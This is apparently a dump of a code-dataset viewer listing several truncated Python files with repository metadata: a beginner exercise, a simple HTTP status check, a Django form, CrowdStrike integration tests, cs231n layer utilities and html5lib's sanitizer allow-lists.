] | permissive | Katakhan/TrabalhosPython2 | e1c23119ef582038ceea0004c872c00778fd326e | ab47af0ff3c00922857578e58a1a149d9e65e229 | refs/heads/master | 2020-09-21T02:15:04.505791 | 2020-03-19T13:23:41 | 2020-03-19T13:23:41 | 224,650,620 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 517 | py | #--- Exercício 2 - Funções - 1
#--- Escreva uma função que leia dois números do console
#--- Armazene cada número em uma variável
#--- Realize a soma entre os dois números e armazene o resultado em uma terceira variável
#--- Imprima o resultado e uma mensagem usando f-string (módulo 3)
n1 = ''
n2 = ''
r = ''
def ler (... | [
"antoniorafaelgastaldi@hotmail.com"
] | antoniorafaelgastaldi@hotmail.com |
e867f6add0c6de6997ded78dabd00719e6683c38 | 242733887bf50ffc91b2e305dfbea268fdfebae0 | /http/first.py | 63910d3ddda0f0dc21b25438a7c738d0a82dc30b | [] | no_license | aryabiju37/Python-mini-Proects | c2e4f59bf309b3d7e7696dfe92fb6ff63790114a | a84e03702665cf2e06a16637cfe24a6697163894 | refs/heads/master | 2023-07-25T18:56:54.649800 | 2021-08-27T06:49:32 | 2021-08-27T06:49:32 | 400,420,845 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 151 | py | import requests
url = "http://www.google.com/"
response = requests.get(url)
print(f"your request to {url} came back w/ status {response.status_code}") | [
"riyabee123@gmail.com"
] | riyabee123@gmail.com |
7a9ff964736d8a2a595774a040fe4a20d20cdf5b | 409513efeba3dfea81829020df15e6a1a6d6bd60 | /app/tipo_gasto/form.py | 6ad91a15e2dd1f9371a19282835bcf28dd5fdce0 | [] | no_license | steven23sp/almacen_yamaha | 1c0606326e46ccab1f3c23948943309deafb70e7 | 34b0c71fc4815512b137d70eaa672ea8d26484d3 | refs/heads/master | 2023-05-03T03:34:45.247011 | 2021-05-19T00:02:35 | 2021-05-19T00:02:35 | 319,155,303 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 998 | py | from django import forms
from datetime import *
from django.forms import SelectDateWidget, TextInput, NumberInput, EmailInput
from .models import tipo_gasto
class tipo_gastoForm(forms.ModelForm):
# constructor
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
this_year = dat... | [
"steven23s@outlook.es"
] | steven23s@outlook.es |
c3a854a7ad726506961c40bea1b6190c2a5af157 | a37c48267bfb8476476dad7219c4e3329f9e2991 | /Packs/CrowdStrikeIntel/Integrations/CrowdStrikeFalconIntel_v2/CrowdStrikeFalconIntel_v2_test.py | 79df1d16b038910851002029a4c7bb288effa4fe | [
"MIT"
] | permissive | adambaumeister/content | 611ce9fba412a5eb28fbefa8a43282e98d3f9327 | 01b57f8c658c2faed047313d3034e8052ffa83ce | refs/heads/master | 2023-03-09T18:16:18.623380 | 2022-07-13T18:11:09 | 2022-07-13T18:11:09 | 274,290,989 | 2 | 0 | MIT | 2023-03-06T12:22:17 | 2020-06-23T02:36:53 | Python | UTF-8 | Python | false | false | 7,515 | py | import pytest
import json
import os
import demistomock as demisto
from CrowdStrikeFalconIntel_v2 import *
from CommonServerPython import DBotScoreType, Common, DemistoException
with open(os.path.normpath(os.path.join(__file__, '..', './test_data/indicator_resource.json'))) as f:
INDICATOR_RESOURCE = json.load(f)
... | [
"noreply@github.com"
] | adambaumeister.noreply@github.com |
183ac021137fed6c0ade8e3733021d7ad10cee3c | 63781ceb2df72da01c0ae24a4d48d964e81402f5 | /analysis/cs231n/layer_utils.py | b1d6c370c35c6a7261647182337edd204b20069d | [
"Apache-2.0"
] | permissive | vermouth1992/deep-learning-playground | c2997f7ee9de145216c637192f7ba136103fb1bd | 3d03b26daaa5ef7c425a7ea6222d9c7341516d14 | refs/heads/master | 2023-05-12T18:22:39.976403 | 2023-05-07T13:19:37 | 2023-05-07T13:19:37 | 83,795,426 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,341 | py | from cs231n.layers import *
from cs231n.fast_layers import *
def affine_relu_forward(x, w, b):
"""
Convenience layer that perorms an affine transform followed by a ReLU
Inputs:
- x: Input to the affine layer
- w, b: Weights for the affine layer
Returns a tuple of:
- out: Output from the ... | [
"czhangseu@gmail.com"
] | czhangseu@gmail.com |
b223d88c74f5c0921531ad93916ee132092c0e01 | b9f0399cf7ea0a66fb76900f0c2ceac2d4859d34 | /venv/lib/python3.6/site-packages/html5lib/filters/sanitizer.py | 8b151d151b9cdf3de6759b04b14a784e79788d79 | [] | no_license | huangtaosdt/QA-website-zsb | eea0fcd6a2415cf5c61f01f6692d39a544ed900a | 518470a3b37d6561797a38de42fe0c81d27c6ceb | refs/heads/master | 2021-09-20T15:19:44.559747 | 2018-08-11T03:53:17 | 2018-08-11T03:53:17 | 100,498,996 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 25,196 | py | from __future__ import absolute_import, division, unicode_literals
import re
from xml.sax.saxutils import escape, unescape
from six.moves import urllib_parse as urlparse
from . import base
from ..constants import namespaces, prefixes
__all__ = ["Filter"]
allowed_elements = frozenset((
(namespaces['html'], 'a')... | [
"huangtaosdt@163.com"
] | huangtaosdt@163.com |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.